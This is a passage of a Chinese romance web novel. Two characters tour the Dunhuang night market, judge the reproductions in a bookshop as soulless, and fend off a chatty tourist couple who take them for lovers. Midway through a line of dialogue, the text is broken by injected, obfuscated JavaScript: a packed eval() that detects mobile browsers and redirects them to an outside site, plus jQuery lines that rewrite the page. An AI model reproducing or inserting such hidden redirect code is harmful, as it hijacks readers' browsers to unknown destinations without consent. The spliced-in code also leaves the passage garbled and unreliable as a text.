宁玛把车停回宿舍楼下,这个点莫高窟的游客已经寥寥无几,不用排队打车。
但是等出租车开到夜市门口时,也已经快晚上八点。
敦煌天黑得晚,大部分游客晚上要么去鸣沙山看日落,要么就来夜市吃宵夜散步。
越靠近夜市的地方,街道就越水泄不通,最终还得靠自己走一小段。
摆摊的小店从牌坊底下就开始了。
但周亓谚扫一眼过去,大多都是没什么特点的批发小商品。
文创冰棍儿、明信片、冰箱贴一类。
正巧是饭点,再往里走两边都是饭店,有的已经热火朝天摆出了炭火和桌椅。
店员随机抓人招揽生意,都被宁玛一一谢绝。
她拉着周亓谚的胳膊躲避人群,以只有两个人能听清的音量说:“小吃都在里面的沙洲食肆,别被他们带进去了。”
“好。”周亓谚跟着宁玛走,乐得被拽。
“为什么这边的餐馆基本都叫马什么?”周亓谚看来看去,没忍住问。
“回族姓马的多,敦煌自古就是移民之乡,从汉朝到近现代都一直有各民族的移居过来,现在差不多有二十多个民族的住民。”宁玛在研究院这两年,学而不怠,对敦煌的了解不比一个资深导游差。
“西北这边大部分餐馆都是‘马老板’,格尔木也这样。”宁玛捏了捏喉咙。
今天一直在外,又热又干,想喝口凉的。
“你去过格尔木?”周亓谚问。
宁玛摇头:“没有啊,我是听说的。”
走过饭店群,紧接着是更加密集的小摊位,很多都把小幅的泥板岩彩画拿出来售卖。
但宁玛和周亓谚扫一眼就知道,大部分都是假手绘。
直到在一家书店前,两人都驻足下来,默契地抬腿。
敦煌著作千千万,宁玛见书就翻已经快成下意识了。
周亓谚则有一大半的旅客心态,但除此之外,他确实也想买点工具书。
经过这几天的洞窟学习,他有预感之后的创作中,迟早会用到些敦煌元素。
这家书店看起来规模不错,装潢也艺术。他和宁玛各逛各的,有一种无声的默契。
周亓谚从画册开始入手,有些参观时非常喜欢的画面,虽然当时自己有在本子上手绘记录,但十分潦草。
但是几乎随机翻开的每一本,都让周亓谚眼角抽抽——实在是,有够丑的。
宁玛歪着头注意到了周亓谚的举动,主动说:“你要是想买细节画册,得找近几年出版的。”
坐在柜台喝茶的老板也听到了,对着这样看起来就很优质的客源,没忍住插嘴:“帅哥,你面前那个报刊架子里,那些薄薄的可以找找看。”
周亓谚从善如流,那是数字采集了再高清打印的版本,可以说是最接近原作,并且一窟一册,清晰明了。
然而当周亓谚翻开之后,他还是拧眉,烦躁地“啧”了声。
“还是不行?”宁玛问。
画册的确是很认真地在复原,如果没有来过莫高窟的人来看,一定奉若珍宝,仔细研究。
但是那些,自己明明在站在墙壁前,欣赏到天荒地老的局部。此刻一看,都变得毫无韵味。
线条里的生命力,好像伴随着世世代代的画师,一同刻进了泥层。
周亓谚轻笑地哼了声,冷冷感叹:“没灵魂。”
宁玛点头,深以为同:“是吧,我也这么觉得。”
但周亓谚却愣住了,他这趟追寻艺术灵魂之旅,好像已经有所收获。
目标完成,是否就该走了。
周亓谚低头看向身旁的宁玛。
她还半弯着身子,在仔细翻看那些画册,书店柔和的射灯照在她脸上,在透亮的红晕中,甚至能看见脸庞的绒毛。
宁玛见周亓谚久久不语,抬头疑惑地看他。
她的眼睛也很美,像最昂贵的黑曜石。
见惯了外国眼睛的周亓谚,把这份暧昧不明的意味,强行归为来自祖先血脉的吸引力。
他面无表情地把手心挡在她眼前,遮住她看过来的视线。
一秒钟的躲闪。
周亓谚把掌心压在了宁玛脑门上,示意她站直:“没什么好买的,走吧,吃饭去。”
旅途尾声,吃一顿,少一顿。
从书店出来后,没多远就是沙洲食肆的入口。
“我请你喝杏皮茶吧!”宁玛其实是自己想喝。
她说完,就自行挤进人群开始排队。虽然队伍很长,但速度很快。
食肆这边客流量大,每家店为了留住客人,基本都会安排个点单专员。提前问下好单,这样等排到你,就能直接取餐。
“呐,你拿着,找个座位,我去买吃的。”宁玛把冰凉的杏皮茶还有自己的帆布包一并递给周亓谚。
周亓谚真是很久没来过夜市这种地方了,他站在人群中被迫随波逐流,不知从哪下手。
可宁玛说完话,就如一尾小鱼穿梭而去。周亓谚提着杏皮茶,观望很久,最后才终于确定,这些木质长桌椅是公用的,而不是某家小吃专属。
于是他就近找了个桌坐下。
两分钟后。
“你好,这里有人坐吗?”
周亓谚闻声抬头,也是一个年轻的男生,微微俯身问他。
夜市默认要拼桌,就像刚放学的食堂。
周亓谚点头:“我这边还有一个人,其余座你随意。”
男生道谢后在他对面坐下,他背上背了一只小小的黑色双肩包,但包坠是一枚红色的宝相花纹小香包。
他把包包转移到胸前抱着,又看了看周亓谚手边系着丝带的帆布包。
于是他露出一个稍显尴尬的会心一笑:“你也在等女朋友吧?”
周亓谚一挑眉,不承认也不否认。
男生有点社恐,但不知道为什么,相比沉默,他好像宁愿硬着头皮开启话题。
“你们是直接来敦煌玩的,还是准备走青甘环线啊?”
“我只来了敦煌。”周亓谚终于开口,回答了一下他。
男生舒了一口气,自然了一些:“我们是走青甘大环线来的,敦煌已经是倒数第二站了。”
周亓谚依然没怎么搭茬,他将视线随便落在一处,开始发呆。男生也不再自讨没趣,开始低头玩手机游戏。
不知过了几分钟,在周亓谚无聊左顾右盼中,发现沙洲食肆,被翻译成bazaar,信众感叹还怪标准的时候,宁玛终于回来了。
她端着漠北烤鱼的木盘子,手指下提溜了好几个塑料袋。
烤鱼的木盘子里嵌着铁板,高温之下滋滋冒泡,洋葱辣椒酱料淋在鱼肉上,香得不行。
周亓谚接过宁玛手里的烤鱼盘,放在桌上,又侧身,给宁玛在长凳上让出座位。
她把手里的塑料袋放在烤鱼旁,一一介绍:“沙葱牛肉饼、甜醅子。”
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15673086|173102||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
我没买太多,先吃个半饱,然后你再逛逛,看有没有感兴趣的。”宁玛补充说明。
“猪猪快点!烫烫烫!”清脆的女孩声音响起,一个人喊出了千军万马的气势。
坐在周亓谚对面的那个年轻男生,立刻闻声而动,几乎是条件反射地放下手机站起来。
周亓谚和宁玛也抬头看过去,女孩穿着牛仔热裤,小吊带,麂皮长靴,从热热闹闹的人群里冲出来。
看得出疯玩了一天的丸子头已经摇摇欲坠,在她脑袋上晃啊晃。
她一手提溜着比宁玛更多的袋子,另一手举着八根红柳大串,挡在脸前。
男生赶紧帮自己的女朋友拿东西,肉串一挪开,女孩看见宁玛,惊喜大叫:“是你!”
她跨坐到长凳上,兴奋地对宁玛说:“好巧啊!”
看出两个男生都很疑惑,宁玛解释:“刚刚我没端稳烤鱼的盘子,是她帮了我。”
宁玛冲那女孩笑笑,再次感谢:“还好有你,不然我可能要烫伤了。”
女孩摆摆手,眉开眼笑:“这是缘分!我遇到你,我男朋友就遇到你男朋友哈哈哈哈!”
“呃……”宁玛看看周亓谚,他好像不为所动,懒得解释。
宁玛也没再多说什么,只是萍水相逢的游客而已。
但那女孩可不认为这是简单的萍水相逢,她觉得这是命运的安排。
于是她立刻自我介绍起来:“我叫陈心然,我男朋友叫朱越,我们是大学同学,从上海来的。”
朱越抽了张纸巾擦汗,不知道是缸子肉的热气扑腾,还是陈心然太过社牛,让他汗流浃背了。
“我叫宁玛。”
“周亓谚。”
这一对主打言简意赅,但陈心然立刻被宁玛的名字吸引。
“诶诶诶,宁玛?好独特的名字啊,姐姐,是哪两个字啊?”
宁玛尴尬解释:“宁静的宁,玛瑙的玛。”
“好听好听,不像我名字这么大众。”陈心然边撸串,接着又问:“宁玛姐,那你们明天准备去哪里?”
宁玛看看周亓谚,说:“还不确定。”
陈心然点点头,继续吃东西。
然而安静不过两秒钟,她又忍不住问:“那你们是从哪边来的呀?”
周亓谚垂着眼睛夹鱼肉,懒得回答。宁玛不好意思晾着人家,于是折中回答:“我就是本地的,他从北京过来。”
陈心然立刻震惊感叹:“哇你们是异地恋啊!”
宁玛有一秒钟的慌张,果然只要谎言开了头,就越陷越深。
但陈心然是那种没心没肺,天性爽朗的女孩,一个人也能絮絮叨叨。
她说:“原本我们有四个人的,但他们俩吵架了,今天已经各回各家,把我们包的车也解散了。”
陈心然戳戳缸子肉里的胡萝卜:“宁玛姐,你是本地人,肯定对这边很熟。如果方便的话,明天能不能带我俩一块儿玩呀?”
她星星眼对着宁玛撒娇:“求求你了,就看在我帮你端盘子的份上。”
宁玛有些为难,陈心然确实是挺好一小女孩,热心活泼又大方,还帮过她,但车也不是宁玛租的,这事还得周亓谚说了算。
宁玛正想转头,问问周亓谚的意见。
没想到他已经有打算了。
“不方便。”周亓谚突然开口,微笑着拒绝,“我们异地恋,需要独处。”
陈心然一噎——理由很充分,没办法反驳。